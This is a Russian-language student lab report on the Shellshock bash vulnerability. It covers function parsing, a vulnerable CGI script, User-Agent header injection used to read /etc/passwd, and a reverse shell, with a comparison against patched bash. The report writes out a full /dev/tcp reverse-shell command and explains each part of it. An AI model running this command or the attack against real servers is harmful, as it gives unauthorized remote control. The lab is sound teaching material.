Вы находитесь на странице: 1из 5

3.

Shellshock

Описание: в ходе этой атаки мы запустили атаку Shellshock на удаленный веб-


сервер, а затем получили обратную оболочку, воспользовавшись уязвимостью.

Задача 1. Изучить bash функции


Уязвимость Shellshock в bash связана с оболочечными функциями -
функциями, определенными внутри оболочки.
Она эксплуатирует ошибку, допущенную bash при преобразовании
переменных окружения в определения функций.
Для демонстрации атаки мы выполняем следующий эксперимент: сначала
мы определяем переменную и, используя команду echo, проверяем содержимое
переменной. Определенную оболочечную функцию можно вывести с помощью
команды declare, и, как видно здесь, оболочка ничего не выводит, потому что
здесь не определена функция с именем foo. Затем мы используем команду export,
чтобы преобразовать эту определенную оболочечную переменную в переменную
окружения. Затем мы запускаем уязвимую оболочку bash_shellshock, которая
создает дочерний процесс оболочки. Повторное выполнение тех же команд
показывает, что оболочечная переменная, определенная в родительском
процессе, больше не является оболочечной переменной, а является оболочечной
функцией. Таким образом, при выполнении этой функции выводится строка.
Эксперимент позволяет продемонстрировать, как уязвимость Shellshock
позволяет преобразовать оболочечные переменные в оболочечные функции и
выполнить вредоносный код.
Рис. 1. Используем /bin/bash_shellshock

При повторении тех же шагов, но с использованием исправленной


версии bash вместо уязвимой bash_shellshock, мы видим, что оболочка bash
больше не уязвима к атаке shellshock. Переменная окружения, переданная из
родительского процесса, хранится только как переменная в дочернем процессе

Рис. 2. Используем /bin/bash

Используя /bin/bash, мы видим, что программа bash больше не


преобразует переданную переменную окружения в функцию, а сохраняет ее
как оболочечную переменную. Это доказывает, что программа больше не
уязвима к уязвимости shellshock.

Ранее проблема заключалась в том, как была написана программа bash.


Оболочка bash дочернего процесса преобразовывала переменные окружения в
свои оболочечные переменные, и при этом, если она сталкивалась с
переменной окружения, значение которой начиналось со скобок, она
преобразовывала ее в оболочечную функцию вместо переменной.
Именно поэтому поведение дочернего процесса отличалось от
поведения родительского процесса, что приводило к уязвимости shellshock.
Но, как видно из последующего эксперимента, /bin/bash сохраняет
переменную, и поэтому не уязвим к уязвимости shellshock, в отличие
от /bin/bash_shellshock, который уязвим.

Задача 2. Настройка CGI программ

Мы сначала создаем файл cgi с предоставленным кодом в


каталоге /usr/lib/cgi-bin/, который является стандартным каталогом CGI для
веб-сервера Apache. Программа использует уязвимую версию bash_shellshock
в качестве оболочечной программы, и сценарий просто выводит "Hello
World". Также мы изменяем разрешения файла, чтобы сделать его
исполняемым с использованием привилегий root. Это можно увидеть на
следующем скриншоте.

Рис. 3.
Затем мы запускаем эту программу cgi из Интернета, используя
следующую команду, и поскольку веб-сервер работает на том же компьютере,
что и атака, мы используем localhost в качестве имени хоста / IP. Из результатов
поиска можно узнать, что атака Shellshock на CGI-скрипты может быть
выполнена без аутентификации, поскольку большинство атак происходят на
страницах CGI. В лабораторной работе мы создаем простой CGI-скрипт, который
выводит "Hello World", и сохраняем его в стандартном каталоге CGI для веб-
сервера Apache (/usr/lib/cgi-bin/). Мы также изменяем разрешения файла, чтобы
сделать его исполняемым с использованием привилегий root.
Рис. 4.
Здесь мы видим, что наш скрипт работает, и выводится "Hello World". Это
доказывает, что мы можем вызвать нашу программу cgi через curl. Curl — это
утилита командной строки для выполнения манипуляций и передачи URL-
адресов. Она может использоваться для выполнения HTTP-запросов и получения
ответов от веб-серверов.

Задача 3. Передача данных в bash через переменные среды


Мы знаем, что при получении запроса CGI сервер Apache создает новый
дочерний процесс, который выполняет программу cgi. Если программа cgi
начинается с #! /bin/bash, это означает, что это оболочечный сценарий, и
выполнение программы запускает оболочечную программу. Таким образом, в
нашем случае мы знаем, что при выполнении программы CGI на самом деле
выполняется оболочка /bin/bash_shellshock. Для успешной атаки shellshock,
помимо выполнения уязвимой оболочки bash, нам также необходимо передать
переменные окружения в программу bash. Здесь веб-сервер предоставляет
программе bash переменные окружения. Сервер получает информацию от
клиента с использованием определенных полей, которые помогают серверу
настраивать содержимое для клиента. Эти поля передаются клиентом и могут
быть настроены пользователем. Поэтому мы используем заголовок поля user-
agent, который может быть объявлен пользователем и используется веб-
сервером. Сервер назначает это поле переменной с именем
HTTP_USER_AGENT.
Когда веб-сервер создает дочерний процесс для выполнения программы
CGI, он передает эту переменную окружения вместе с другими программами
CGI. Таким образом, это поле заголовка удовлетворяет нашему условию
передачи переменной окружения в оболочку и, следовательно, может быть
использовано. Поле опции «-A» в команде curl может использоваться для
установки значения поля заголовка «User-Agent», как показано ниже.

Рис. 5.
Мы видим, что значение поля "User-Agent" хранится в значении
"HTTP_USER_AGENT", одной из переменных окружения. Параметр "-v"
отображает HTTP-запрос. Таким образом, данные с удаленного сервера могут
попасть в переменные окружения программы bash. Когда веб-сервер создает
дочерний процесс для выполнения программы CGI, он передает эту переменную
окружения вместе с другими программам CGI. Поля заголовков HTTP могут
быть настроены пользователем и переданы в переменные окружения программы
bash.

Задача 4. Запускаем атаку shellshock.

Крадем содержимое файла passwd на сервере:


Рис. 6.
Здесь мы используем уязвимость bash_shellshock и передаем переменную
окружения, начинающуюся с '() {', указывающую на функцию, в дочерний
процесс, используя поле заголовка user-agent HTTP-запроса. Уязвимость в
программе bash не только преобразует эту переменную окружения в функцию,
но и выполняет команды оболочки, находящиеся в строке переменной
окружения.
Здесь, поскольку мы передаем команду оболочки для объединения файла
passwd, он должен напечатать содержимое файл passwd на терминале. Как видно,
файл passwd фактически читается и распечатывается, следовательно показывая
успешную атаку. Здесь нам не должно было быть разрешено читать какие-либо
файлы на сервере, но из-за уязвимости в bash, используемой программой CGI,
нам удалось чтение файла частного сервера.
Кража содержимого теневого файла на сервере:
Рис. 7.
При попытке использовать ту же методологию для чтения файла shadow
на сервере мы видим, что не можем это сделать. Это происходит потому, что
владельцем файла shadow всегда является root, и обычный пользователь не имеет
прав на чтение файла.
Задача 5. Getting a Reverse Shell via Shellshock Attack

Реверсивная оболочка (Reverse Shell) — это оболочка, которая запускается на


компьютере жертвы, но принимает ввод с компьютера злоумышленника, и вывод
также отображается на компьютере злоумышленника.
Цель реверсивной оболочки заключается в создании безопасного способа
для злоумышленника удаленно управлять целевой системой. Обычно
злоумышленники используют реверсивные оболочки для выполнения команд на
удаленной системе и получения интерактивного доступа к выполнению
произвольных команд. Это позволяет им попытаться повысить свои привилегии
для получения полного контроля над операционной системой. Реверсивные
оболочки используются для обхода ограничений брандмауэров, так как
атакуемые серверы обычно разрешают соединения только на определенных
портах. Таким образом, злоумышленник может установить сервер на своем
собственном компьютере и создать обратное соединение. Для этого
злоумышленнику необходим компьютер с публичным IP-адресом и инструмент,
такой как netcat, для создания обратного соединения.
Здесь мы используем netcat (nc), чтобы прослушивать соединение на
порту 9090 TCP-сервера (установленного с помощью параметра -l в команде).
Затем мы используем команду curl, чтобы отправить команду bash на сервер в
поле user-agent. Команда bash выглядит следующим образом:
/bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1
Рис. 8.
Приведенная выше команда bash инициирует TCP-соединение с портом 9090
машины злоумышленника с сервером. При установке успешного соединения
злоумышленник получает доступ к оболочке сервера {как видно по
идентификатору – где uid — это идентификатор сервера}. Это приводит к
успешному «разворачиванию» оболочки. Приведенные выше параметры
команды определяют следующее:
1) "/bin/bash -i": создает оболочку, где -i означает интерактивный
режим.
2) "> /dev/tcp/10.0.2.15/9090": Вывод оболочки перенаправляется на
порт 9090 10.0.2.15 по TCP-соединению.
3) "0<&1": здесь 0 указывает на файловый дескриптор стандартного
устройства ввода, а 1 - на файловый дескриптор стандартного устройства вывода.
Этот параметр указывает использовать стандартное устройство вывода в
качестве стандартного устройства ввода. Здесь, поскольку stdout уже направлено
на TCP-соединение, ввод в программу оболочки получается из того же TCP-
соединения.
4) "2>&1": Файловый дескриптор 2 указывает на стандартный
вывод ошибок stderr. Это приводит к перенаправлению вывода ошибок в stdout,
который здесь является TCP-соединением
Здесь мы использовали уязвимость в программе bash, используемой CGI-
программой на стороне сервера.
Мы отправляем злонамеренную команду обратного оболочки в качестве
параметра, который должен содержать информацию о пользователе-агенте. Это
помогает нам передавать содержимое поля заголовка в виде переменной
окружения в программу CGI.
Когда bash получает эту переменную, он преобразует ее в функцию из-за
наличия «() {». Вместе с этим уязвимость в программе bash помогает выполнить
команду оболочки. Эта команда оболочки вызывает /bin/bash в интерактивном
режиме и направляет вывод на порт 9090 TCP-соединения, а также ввод и вывод
ошибок перенаправляются на это TCP-соединение.
В другом терминале мы используем команду netcat, чтобы прослушивать
любые соединения на порту 9090, и принимаем одно, когда получаем его. Здесь
принимается соединение сервера.
Когда атака успешна, мы получаем интерактивную оболочку сервера.
(Здесь сервер был нашим собственным компьютером).
Вот как мы используем обратный оболочку, чтобы получить доступ через
уязвимость shellshock.

Задача. 6. Using the patched bash

Здесь мы видим, что при использовании /bin/bash мы все равно можем


передавать переменные среды в CGI программу, используя поле заголовка user-
agent так же, как и раньше.
Рис. 9.
Это показывает, что мы можем отправлять произвольные данные на
сервер в виде переменных окружения даже в случае исправленного /bin/bash.
Здесь мы видим, что обратная оболочка не создается успешно, и поэтому
можно сказать, что она не работает в случае /bin/bash. Поле заголовка "user-
agent", передаваемое в команде curl с помощью -A, размещается таким же
образом в переменной окружения "HTTP_USER_AGENT".
Рис. 10.
Здесь атака не удалась, потому что программа bash не преобразовала
переменную окружения в функцию, и поэтому любые команды в ней не были
выполнены.
Это показывает, что, даже если мы можем передавать пользовательские
переменные окружения на сервер, он не уязвим для атаки shellshock из-за
использования исправленной оболочки /bin/bash. Поэтому мы больше не можем
использовать этот механизм для создания обратной оболочки, потому что он
эксплуатировал уязвимость shellshock, которая больше не существует.

Вам также может понравиться